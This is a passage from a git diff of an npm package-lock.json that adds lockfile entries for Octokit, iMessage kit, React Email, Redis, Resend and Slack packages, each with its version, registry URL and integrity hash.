"sha512-+yoFQquaF8OxJSxTb7rnytBIC2ZLbLqA/yb71I4ZXT9+Slw4TziV9j/kyGhUFRRTF2+7WlnIWsePZCWHs+OGjg==", + "license": "MIT", + "dependencies": { + "@octokit/auth-oauth-device": "^8.0.3", + "@octokit/auth-oauth-user": "^6.0.2", + "@octokit/request": "^10.0.6", + "@octokit/types": "^16.0.0", + "universal-user-agent": "^7.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/auth-oauth-device": { + "version": "8.0.3", + "resolved": "https://registry.npmjs.org/@octokit/auth-oauth-device/-/auth-oauth-device-8.0.3.tgz", + "integrity": "sha512-zh2W0mKKMh/VWZhSqlaCzY7qFyrgd9oTWmTmHaXnHNeQRCZr/CXy2jCgHo4e4dJVTiuxP5dLa0YM5p5QVhJHbw==", + "license": "MIT", + "dependencies": { + "@octokit/oauth-methods": "^6.0.2", + "@octokit/request": "^10.0.6", + "@octokit/types": "^16.0.0", + "universal-user-agent": "^7.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/auth-oauth-user": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/@octokit/auth-oauth-user/-/auth-oauth-user-6.0.2.tgz", + "integrity": "sha512-qLoPPc6E6GJoz3XeDG/pnDhJpTkODTGG4kY0/Py154i/I003O9NazkrwJwRuzgCalhzyIeWQ+6MDvkUmKXjg/A==", + "license": "MIT", + "dependencies": { + "@octokit/auth-oauth-device": "^8.0.3", + "@octokit/oauth-methods": "^6.0.2", + "@octokit/request": "^10.0.6", + "@octokit/types": "^16.0.0", + "universal-user-agent": "^7.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/auth-token": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@octokit/auth-token/-/auth-token-6.0.0.tgz", + "integrity": "sha512-P4YJBPdPSpWTQ1NU4XYdvHvXJJDxM6YwpS0FZHRgP7YFkdVxsWcpWGy/NVqlAA7PcPCnMacXlRm1y2PFZRWL/w==", + "license": "MIT", + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/core": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/@octokit/core/-/core-7.0.6.tgz", + "integrity": "sha512-DhGl4xMVFGVIyMwswXeyzdL4uXD5OGILGX5N8Y+f6W7LhC1Ze2poSNrkF/fedpVDHEEZ+PHFW0vL14I+mm8K3Q==", + "license": "MIT", + "dependencies": { + "@octokit/auth-token": "^6.0.0", + "@octokit/graphql": "^9.0.3", + "@octokit/request": "^10.0.6", + "@octokit/request-error": "^7.0.2", + "@octokit/types": "^16.0.0", + "before-after-hook": "^4.0.0", + "universal-user-agent": "^7.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/endpoint": { + "version": "11.0.3", + "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-11.0.3.tgz", + "integrity": "sha512-FWFlNxghg4HrXkD3ifYbS/IdL/mDHjh9QcsNyhQjN8dplUoZbejsdpmuqdA76nxj2xoWPs7p8uX2SNr9rYu0Ag==", + "license": "MIT", + "dependencies": { + "@octokit/types": "^16.0.0", + "universal-user-agent": "^7.0.2" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/graphql": { + "version": "9.0.3", + "resolved": "https://registry.npmjs.org/@octokit/graphql/-/graphql-9.0.3.tgz", + "integrity": "sha512-grAEuupr/C1rALFnXTv6ZQhFuL1D8G5y8CN04RgrO4FIPMrtm+mcZzFG7dcBm+nq+1ppNixu+Jd78aeJOYxlGA==", + "license": "MIT", + "dependencies": { + "@octokit/request": "^10.0.6", + "@octokit/types": "^16.0.0", + "universal-user-agent": "^7.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/oauth-authorization-url": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/@octokit/oauth-authorization-url/-/oauth-authorization-url-8.0.0.tgz", + "integrity": "sha512-7QoLPRh/ssEA/HuHBHdVdSgF8xNLz/Bc5m9fZkArJE5bb6NmVkDm3anKxXPmN1zh6b5WKZPRr3697xKT/yM3qQ==", + "license": "MIT", + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/oauth-methods": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/@octokit/oauth-methods/-/oauth-methods-6.0.2.tgz", + "integrity": "sha512-HiNOO3MqLxlt5Da5bZbLV8Zarnphi4y9XehrbaFMkcoJ+FL7sMxH/UlUsCVxpddVu4qvNDrBdaTVE2o4ITK8ng==", + "license": "MIT", + "dependencies": { + "@octokit/oauth-authorization-url": "^8.0.0", + "@octokit/request": "^10.0.6", + "@octokit/request-error": "^7.0.2", + "@octokit/types": "^16.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/openapi-types": { + "version": "27.0.0", + "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-27.0.0.tgz", + "integrity": "sha512-whrdktVs1h6gtR+09+QsNk2+FO+49j6ga1c55YZudfEG+oKJVvJLQi3zkOm5JjiUXAagWK2tI2kTGKJ2Ys7MGA==", + "license": "MIT" + }, + "node_modules/@octokit/plugin-paginate-rest": { + "version": "14.0.0", + "resolved": "https://registry.npmjs.org/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-14.0.0.tgz", + "integrity": "sha512-fNVRE7ufJiAA3XUrha2omTA39M6IXIc6GIZLvlbsm8QOQCYvpq/LkMNGyFlB1d8hTDzsAXa3OKtybdMAYsV/fw==", + "license": "MIT", + "dependencies": { + "@octokit/types": "^16.0.0" + }, + "engines": { + "node": ">= 20" + }, + "peerDependencies": { + "@octokit/core": ">=6" + } + }, + "node_modules/@octokit/plugin-request-log": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@octokit/plugin-request-log/-/plugin-request-log-6.0.0.tgz", + "integrity": "sha512-UkOzeEN3W91/eBq9sPZNQ7sUBvYCqYbrrD8gTbBuGtHEuycE4/awMXcYvx6sVYo7LypPhmQwwpUe4Yyu4QZN5Q==", + "license": "MIT", + "engines": { + "node": ">= 20" + }, + "peerDependencies": { + "@octokit/core": ">=6" + } + }, + "node_modules/@octokit/plugin-rest-endpoint-methods": { + "version": "17.0.0", + "resolved": "https://registry.npmjs.org/@octokit/plugin-rest-endpoint-methods/-/plugin-rest-endpoint-methods-17.0.0.tgz", + "integrity": "sha512-B5yCyIlOJFPqUUeiD0cnBJwWJO8lkJs5d8+ze9QDP6SvfiXSz1BF+91+0MeI1d2yxgOhU/O+CvtiZ9jSkHhFAw==", + "license": "MIT", + "dependencies": { + "@octokit/types": "^16.0.0" + }, + "engines": { + "node": ">= 20" + }, + "peerDependencies": { + "@octokit/core": ">=6" + } + }, + "node_modules/@octokit/request": { + "version": "10.0.8", + "resolved": "https://registry.npmjs.org/@octokit/request/-/request-10.0.8.tgz", + "integrity": "sha512-SJZNwY9pur9Agf7l87ywFi14W+Hd9Jg6Ifivsd33+/bGUQIjNujdFiXII2/qSlN2ybqUHfp5xpekMEjIBTjlSw==", + "license": "MIT", + "dependencies": { + "@octokit/endpoint": "^11.0.3", + "@octokit/request-error": "^7.0.2", + "@octokit/types": "^16.0.0", + "fast-content-type-parse": "^3.0.0", + "json-with-bigint": "^3.5.3", + "universal-user-agent": "^7.0.2" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/request-error": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-7.1.0.tgz", + "integrity": "sha512-KMQIfq5sOPpkQYajXHwnhjCC0slzCNScLHs9JafXc4RAJI+9f+jNDlBNaIMTvazOPLgb4BnlhGJOTbnN0wIjPw==", + "license": "MIT", + "dependencies": { + "@octokit/types": "^16.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/rest": { + "version": "22.0.1", + "resolved": "https://registry.npmjs.org/@octokit/rest/-/rest-22.0.1.tgz", + "integrity": "sha512-Jzbhzl3CEexhnivb1iQ0KJ7s5vvjMWcmRtq5aUsKmKDrRW6z3r84ngmiFKFvpZjpiU/9/S6ITPFRpn5s/3uQJw==", + "license": "MIT", + "dependencies": { + "@octokit/core": "^7.0.6", + "@octokit/plugin-paginate-rest": "^14.0.0", + "@octokit/plugin-request-log": "^6.0.0", + "@octokit/plugin-rest-endpoint-methods": "^17.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/types": { + "version": "16.0.0", + "resolved": "https://registry.npmjs.org/@octokit/types/-/types-16.0.0.tgz", + "integrity": "sha512-sKq+9r1Mm4efXW1FCk7hFSeJo4QKreL/tTbR0rz/qx/r1Oa2VV83LTA/H/MuCOX7uCIJmQVRKBcbmWoySjAnSg==", + "license": "MIT", + "dependencies": { + "@octokit/openapi-types": "^27.0.0" + } + }, "node_modules/@onecli-sh/sdk": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/@onecli-sh/sdk/-/sdk-0.2.0.tgz", @@ -873,6 +1888,476 @@ "node": ">=20" } }, + "node_modules/@photon-ai/advanced-imessage-kit": { + "version": "1.14.3", + "resolved": "https://registry.npmjs.org/@photon-ai/advanced-imessage-kit/-/advanced-imessage-kit-1.14.3.tgz", + "integrity": "sha512-i/WqwhvI9CwL9sd78YkV7PJmGftR2Z03GyIpRfMb6P6WKisHja+72wErSu66HCTLzRheDwazO44tJUbNobGoig==", + "license": "MIT", + "dependencies": { + "axios": "^1.13.2", + "consola": "^3.4.2", + "form-data": "^4.0.4", + "reflect-metadata": "^0.2.2", + "sharp": "^0.34.5", + "socket.io-client": "^4.8.1", + "zod": "^4.3.6" + }, + "engines": { + "node": ">=18.0.0" + }, + "peerDependencies": { + "typescript": "^5.9.3" + } + }, + "node_modules/@photon-ai/imessage-kit": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/@photon-ai/imessage-kit/-/imessage-kit-2.1.2.tgz", + "integrity": "sha512-xteMkPqqWkPLv40M9gA1HJGS/fHXIWzzXNCwRfnC4+bj120KMXMacT9zOSoEcGk4MA0pGXcUMQPE16MdB+Bf/g==", + "license": "MIT", + "dependencies": { + "node-typedstream": "^1.4.1" + }, + "engines": { + "node": ">=18.0.0" + }, + "optionalDependencies": { + "better-sqlite3": "^12.5.0" + } + }, + "node_modules/@photon-ai/imessage-kit/node_modules/better-sqlite3": { + "version": "12.8.0", + "resolved": "https://registry.npmjs.org/better-sqlite3/-/better-sqlite3-12.8.0.tgz", + "integrity": "sha512-RxD2Vd96sQDjQr20kdP+F+dK/1OUNiVOl200vKBZY8u0vTwysfolF6Hq+3ZK2+h8My9YvZhHsF+RSGZW2VYrPQ==", + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "dependencies": { + "bindings": "^1.5.0", + "prebuild-install": "^7.1.1" + }, + "engines": { + "node": "20.x || 22.x || 23.x || 24.x || 25.x" + } + }, + "node_modules/@react-email/body": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/@react-email/body/-/body-0.2.1.tgz", + "integrity": "sha512-ljDiQiJDu/Fq//vSIIP0z5Nuvt4+DX1RqGasstChDGJB/14ogd4VdNS9aacoede/ZjGy3o3Qb+cxyS+XgM6SwQ==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/button": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/@react-email/button/-/button-0.2.1.tgz", + "integrity": "sha512-qXyj7RZLE7POy9BMKSoqQ00tOXThjOZSUnI2Yu9i29IHngPlmrNayIWBoVKtElES7OWwypUcpiajwi1mUWx6/A==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/code-block": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/@react-email/code-block/-/code-block-0.2.1.tgz", + "integrity": "sha512-M3B7JpVH4ytgn83/ujRR1k1DQHvTeABiDM61OvAbjLRPhC/5KLHU5KkzIbbuGIrjWwxAbL1kSQzU8MhLEtSxyw==", + "license": "MIT", + "dependencies": { + "prismjs": "^1.30.0" + }, + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/code-inline": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/@react-email/code-inline/-/code-inline-0.0.6.tgz", + "integrity": "sha512-jfhebvv3dVsp3OdPgKXnk8+e2pBiDVZejDOBFzBa/IblrAJ9cQDkN6rBD5IyEg8hTOxwbw3iaI/yZFmDmIguIA==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/column": { + "version": "0.0.14", + "resolved": "https://registry.npmjs.org/@react-email/column/-/column-0.0.14.tgz", + "integrity": "sha512-f+W+Bk2AjNO77zynE33rHuQhyqVICx4RYtGX9NKsGUg0wWjdGP0qAuIkhx9Rnmk4/hFMo1fUrtYNqca9fwJdHg==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/components": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/@react-email/components/-/components-1.0.8.tgz", + "integrity": "sha512-zY81ED6o5MWMzBkr9uZFuT24lWarT+xIbOZxI6C9dsFmCWBczM8IE1BgOI8rhpUK4JcYVDy1uKxYAFqsx2Bc4w==", + "license": "MIT", + "dependencies": { + "@react-email/body": "0.2.1", + "@react-email/button": "0.2.1", + "@react-email/code-block": "0.2.1", + "@react-email/code-inline": "0.0.6", + "@react-email/column": "0.0.14", + "@react-email/container": "0.0.16", + "@react-email/font": "0.0.10", + "@react-email/head": "0.0.13", + "@react-email/heading": "0.0.16", + "@react-email/hr": "0.0.12", + "@react-email/html": "0.0.12", + "@react-email/img": "0.0.12", + "@react-email/link": "0.0.13", + "@react-email/markdown": "0.0.18", + "@react-email/preview": "0.0.14", + "@react-email/render": "2.0.4", + "@react-email/row": "0.0.13", + "@react-email/section": "0.0.17", + "@react-email/tailwind": "2.0.5", + "@react-email/text": "0.1.6" + }, + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/container": { + "version": "0.0.16", + "resolved": "https://registry.npmjs.org/@react-email/container/-/container-0.0.16.tgz", + "integrity": "sha512-QWBB56RkkU0AJ9h+qy33gfT5iuZknPC7Un/IjZv9B0QmMIK+WWacc0cH6y2SV5Cv/b99hU94fjEMOOO4enpkbQ==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/font": { + "version": "0.0.10", + "resolved": "https://registry.npmjs.org/@react-email/font/-/font-0.0.10.tgz", + "integrity": "sha512-0urVSgCmQIfx5r7Xc586miBnQUVnGp3OTYUm8m5pwtQRdTRO5XrTtEfNJ3JhYhSOruV0nD8fd+dXtKXobum6tA==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/head": { + "version": "0.0.13", + "resolved": "https://registry.npmjs.org/@react-email/head/-/head-0.0.13.tgz", + "integrity": "sha512-AJg6le/08Gz4tm+6MtKXqtNNyKHzmooOCdmtqmWxD7FxoAdU1eVcizhtQ0gcnVaY6ethEyE/hnEzQxt1zu5Kog==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/heading": { + "version": "0.0.16", + "resolved": "https://registry.npmjs.org/@react-email/heading/-/heading-0.0.16.tgz", + "integrity": "sha512-jmsKnQm1ykpBzw4hCYHwBkt5pW2jScXffPeEH5ZRF5tZeF5b1pvlFTO9han7C0pCkZYo1kEvWiRtx69yfCIwuw==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/hr": { + "version": "0.0.12", + "resolved": "https://registry.npmjs.org/@react-email/hr/-/hr-0.0.12.tgz", + "integrity": "sha512-TwmOmBDibavUQpXBxpmZYi2Iks/yeZOzFYh+di9EltMSnEabH8dMZXrl+pxNXzCgZ2XE8HY7VmUL65Lenfu5PA==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/html": { + "version": "0.0.12", + "resolved": "https://registry.npmjs.org/@react-email/html/-/html-0.0.12.tgz", + "integrity": "sha512-KTShZesan+UsreU7PDUV90afrZwU5TLwYlALuCSU0OT+/U8lULNNbAUekg+tGwCnOfIKYtpDPKkAMRdYlqUznw==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/img": { + "version": "0.0.12", + "resolved": "https://registry.npmjs.org/@react-email/img/-/img-0.0.12.tgz", + "integrity": "sha512-sRCpEARNVTf3FQhZOC+JTvu5r6ubiYWkT0ucYXg8ctkyi4G8QG+jgYPiNUqVeTLA2STOfmPM/nrk1nb84y6CPQ==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/link": { + "version": "0.0.13", + "resolved": "https://registry.npmjs.org/@react-email/link/-/link-0.0.13.tgz", + "integrity": "sha512-lkWc/NjOcefRZMkQoSDDbuKBEBDES9aXnFEOuPH845wD3TxPwh+QTf0fStuzjoRLUZWpHnio4z7qGGRYusn/sw==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/markdown": { + "version": "0.0.18", + "resolved": "https://registry.npmjs.org/@react-email/markdown/-/markdown-0.0.18.tgz", + "integrity": "sha512-gSuYK5fsMbGk87jDebqQ6fa2fKcWlkf2Dkva8kMONqLgGCq8/0d+ZQYMEJsdidIeBo3kmsnHZPrwdFB4HgjUXg==", + "license": "MIT", + "dependencies": { + "marked": "^15.0.12" + }, + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/preview": { + "version": "0.0.14", + "resolved": "https://registry.npmjs.org/@react-email/preview/-/preview-0.0.14.tgz", + "integrity": "sha512-aYK8q0IPkBXyMsbpMXgxazwHxYJxTrXrV95GFuu2HbEiIToMwSyUgb8HDFYwPqqfV03/jbwqlsXmFxsOd+VNaw==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/render": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@react-email/render/-/render-2.0.4.tgz", + "integrity": "sha512-kht2oTFQ1SwrLpd882ahTvUtNa9s53CERHstiTbzhm6aR2Hbykp/mQ4tpPvsBGkKAEvKRlDEoooh60Uk6nHK1g==", + "license": "MIT", + "dependencies": { + "html-to-text": "^9.0.5", + "prettier": "^3.5.3" + }, + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/row": { + "version": "0.0.13", + "resolved": "https://registry.npmjs.org/@react-email/row/-/row-0.0.13.tgz", + "integrity": "sha512-bYnOac40vIKCId7IkwuLAAsa3fKfSfqCvv6epJKmPE0JBuu5qI4FHFCl9o9dVpIIS08s/ub+Y/txoMt0dYziGw==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/section": { + "version": "0.0.17", + "resolved": "https://registry.npmjs.org/@react-email/section/-/section-0.0.17.tgz", + "integrity": "sha512-qNl65ye3W0Rd5udhdORzTV9ezjb+GFqQQSae03NDzXtmJq6sqVXNWNiVolAjvJNypim+zGXmv6J9TcV5aNtE/w==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@react-email/tailwind": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@react-email/tailwind/-/tailwind-2.0.5.tgz", + "integrity": "sha512-7Ey+kiWliJdxPMCLYsdDts8ffp4idlP//w4Ui3q/A5kokVaLSNKG8DOg/8qAuzWmRiGwNQVOKBk7PXNlK5W+sg==", + "license": "MIT", + "dependencies": { + "tailwindcss": "^4.1.18" + }, + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "@react-email/body": "0.2.1", + "@react-email/button": "0.2.1", + "@react-email/code-block": "0.2.1", + "@react-email/code-inline": "0.0.6", + "@react-email/container": "0.0.16", + "@react-email/heading": "0.0.16", + "@react-email/hr": "0.0.12", + "@react-email/img": "0.0.12", + "@react-email/link": "0.0.13", + "@react-email/preview": "0.0.14", + "@react-email/text": "0.1.6", + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@react-email/body": { + "optional": true + }, + "@react-email/button": { + "optional": true + }, + "@react-email/code-block": { + "optional": true + }, + "@react-email/code-inline": { + "optional": true + }, + "@react-email/container": { + "optional": true + }, + "@react-email/heading": { + "optional": true + }, + "@react-email/hr": { + "optional": true + }, + "@react-email/img": { + "optional": true + }, + "@react-email/link": { + "optional": true + }, + "@react-email/preview": { + "optional": true + } + } + }, + "node_modules/@react-email/text": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/@react-email/text/-/text-0.1.6.tgz", + "integrity": "sha512-TYqkioRS45wTR5il3dYk/SbUjjEdhSwh9BtRNB99qNH1pXAwA45H7rAuxehiu8iJQJH0IyIr+6n62gBz9ezmsw==", + "license": "MIT", + "engines": { + "node": ">=20.0.0" + }, + "peerDependencies": { + "react": "^18.0 || ^19.0 || ^19.0.0-rc" + } + }, + "node_modules/@redis/bloom": { + "version": "5.11.0", + "resolved": "https://registry.npmjs.org/@redis/bloom/-/bloom-5.11.0.tgz", + "integrity": "sha512-KYiVilAhAFN3057afUb/tfYJpsEyTkQB+tQcn5gVVA7DgcNOAj8lLxe4j8ov8BF6I9C1Fe/kwlbuAICcTMX8Lw==", + "license": "MIT", + "engines": { + "node": ">= 18" + }, + "peerDependencies": { + "@redis/client": "^5.11.0" + } + }, + "node_modules/@redis/client": { + "version": "5.11.0", + "resolved": "https://registry.npmjs.org/@redis/client/-/client-5.11.0.tgz", + "integrity": "sha512-GHoprlNQD51Xq2Ztd94HHV94MdFZQ3CVrpA04Fz8MVoHM0B7SlbmPEVIjwTbcv58z8QyjnrOuikS0rWF03k5dQ==", + "license": "MIT", + "dependencies": { + "cluster-key-slot": "1.1.2" + }, + "engines": { + "node": ">= 18" + }, + "peerDependencies": { + "@node-rs/xxhash": "^1.1.0" + }, + "peerDependenciesMeta": { + "@node-rs/xxhash": { + "optional": true + } + } + }, + "node_modules/@redis/json": { + "version": "5.11.0", + "resolved": "https://registry.npmjs.org/@redis/json/-/json-5.11.0.tgz", + "integrity": "sha512-1iAy9kAtcD0quB21RbPTbUqqy+T2Uu2JxucwE+B4A+VaDbIRvpZR6DMqV8Iqaws2YxJYB3GC5JVNzPYio2ErUg==", + "license": "MIT", + "engines": { + "node": ">= 18" + }, + "peerDependencies": { + "@redis/client": "^5.11.0" + } + }, + "node_modules/@redis/search": { + "version": "5.11.0", + "resolved": "https://registry.npmjs.org/@redis/search/-/search-5.11.0.tgz", + "integrity": "sha512-g1l7f3Rnyk/xI99oGHIgWHSKFl45Re5YTIcO8j/JE8olz389yUFyz2+A6nqVy/Zi031VgPDWscbbgOk8hlhZ3g==", + "license": "MIT", + "engines": { + "node": ">= 18" + }, + "peerDependencies": { + "@redis/client": "^5.11.0" + } + }, + "node_modules/@redis/time-series": { + "version": "5.11.0", + "resolved": "https://registry.npmjs.org/@redis/time-series/-/time-series-5.11.0.tgz", + "integrity": "sha512-TWFeOcU4xkj0DkndnOyhtxvX1KWD+78UHT3XX3x3XRBUGWeQrKo3jqzDsZwxbggUgf9yLJr/akFHXru66X5UQA==", + "license": "MIT", + "engines": { + "node": ">= 18" + }, + "peerDependencies": { + "@redis/client": "^5.11.0" + } + }, + "node_modules/@resend/chat-sdk-adapter": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/@resend/chat-sdk-adapter/-/chat-sdk-adapter-0.1.1.tgz", + "integrity": "sha512-8rGteBhvmIOU38zUun6Jwfgw3hfxKmyhvz329lJ6XIKidHy9wTWMoV9DpuR6typiiKhNnSZeDEB6/3kE3S2J3A==", + "license": "MIT", + "dependencies": { + "@react-email/components": "1.0.8", + "@react-email/render": "2.0.4", + "hast-util-to-html": "^9.0.5", + "mdast-util-to-hast": "^13.2.1", + "resend": "6.9.2" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@chat-adapter/shared": "^4.15.0", + "chat": "^4.15.0" + } + }, "node_modules/@rollup/rollup-android-arm-eabi": { "version": "4.60.1", "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.60.1.tgz", @@ -1256,6 +2741,78 @@ "npm": ">=7.0.0" } }, + "node_modules/@selderee/plugin-htmlparser2": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@selderee/plugin-htmlparser2/-/plugin-htmlparser2-0.11.0.tgz", + "integrity": "sha512-P33hHGdldxGabLFjPPpaTxVolMrzrcegejx+0GxjrIb9Zv48D8yAIA/QTDR2dFl7Uz7urX8aX6+5bCZslr+gWQ==", + "license": "MIT", + "dependencies": { + "domhandler": "^5.0.3", + "selderee": "^0.11.0" + }, + "funding": { + "url": "https://ko-fi.com/killymxi" + } + }, + "node_modules/@slack/logger": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@slack/logger/-/logger-4.0.1.tgz", + "integrity": "sha512-6cmdPrV/RYfd2U0mDGiMK8S7OJqpCTm7enMLRR3edccsPX8j7zXTLnaEF4fhxxJJTAIOil6+qZrnUPTuaLvwrQ==", + "license": "MIT", + "dependencies": { + "@types/node": ">=18" + }, + "engines": { + "node": ">= 18", + "npm": ">= 8.6.0" + } + }, + "node_modules/@slack/types": { + "version": "2.20.1", + "resolved": "https://registry.npmjs.org/@slack/types/-/types-2.20.1.tgz", + "integrity": "sha512-eWX2mdt1ktpn8+40iiMc404uGrih+2fxiky3zBcPjtXKj6HLRdYlmhrPkJi7JTJm8dpXR6BWVWEDBXtaWMKD6A==", + "license": "MIT", + "engines": { + "node": ">= 12.13.0", + "npm": ">= 6.12.0" + } + }, + "node_modules/@slack/web-api": { + "version": "7.15.0", + "resolved": "https://registry.npmjs.org/@slack/web-api/-/web-api-7.15.0.tgz", + "integrity": "sha512-va7zYIt3QHG1x9M/jqXXRPFMoOVlVSSRHC5YH+DzKYsrz5xUKOA3lR4THsu/Zxha9N1jOndbKFKLtr0WOPW1Vw==", + "license": "MIT", + "dependencies": { + "@slack/logger": "^4.0.1", + "@slack/types": "^2.20.1", + "@types/node": ">=18", + "@types/retry": "0.12.0", + "axios": "^1.13.5", + "eventemitter3": "^5.0.1", + "form-data": "^4.0.4", + "is-electron": "2.2.2", + "is-stream": "^2", + "p-queue": "^6", + "p-retry": "^4", + "retry": "^0.13.1" + }, + "engines": { + "node": ">= 18", + "npm": ">= 8.6.0" + } + }, + "node_modules/@socket.io/component-emitter": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@socket.io/component-emitter/-/component-emitter-3.1.2.tgz", + "integrity": "sha512-9BCxFwvbGg/RsZK9tjXd8s4UcwR0MWeFQ1XEKIQVVvAGJyINdrqKMcTRyLoK8Rse1GjzLV9cwjWV1olXRWEXVA==", + "license": "MIT" + }, + "node_modules/@stablelib/base64": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@stablelib/base64/-/base64-1.0.1.tgz", + "integrity": "sha512-1bnPQqSxSuc3Ii6MhBysoWCg58j97aUjuCSZrGSmDxNqtytIi0k8utUenAwTZN4V5mXXYGsVUI9zeBqy+jBOSQ==", + "license": "MIT" + }, "node_modules/@standard-schema/spec": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", @@ -1307,12 +2864,37 @@ "dev": true, "license": "MIT" }, + "node_modules/@types/events": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/events/-/events-3.0.3.tgz", + "integrity": "sha512-trOc4AAUThEz9hapPtSd7wf5tiQKvTtu5b371UxXdTuqzIh0ArcRspRP0i0Viu+LXstIQ1z96t1nsPxT9ol01g==", + "license": "MIT" + }, + "node_modules/@types/hast": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz", + "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==", + "license": "MIT", + "dependencies": { + "@types/unist": "*" + } + }, "node_modules/@types/json-schema": { "version": "7.0.15", "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", 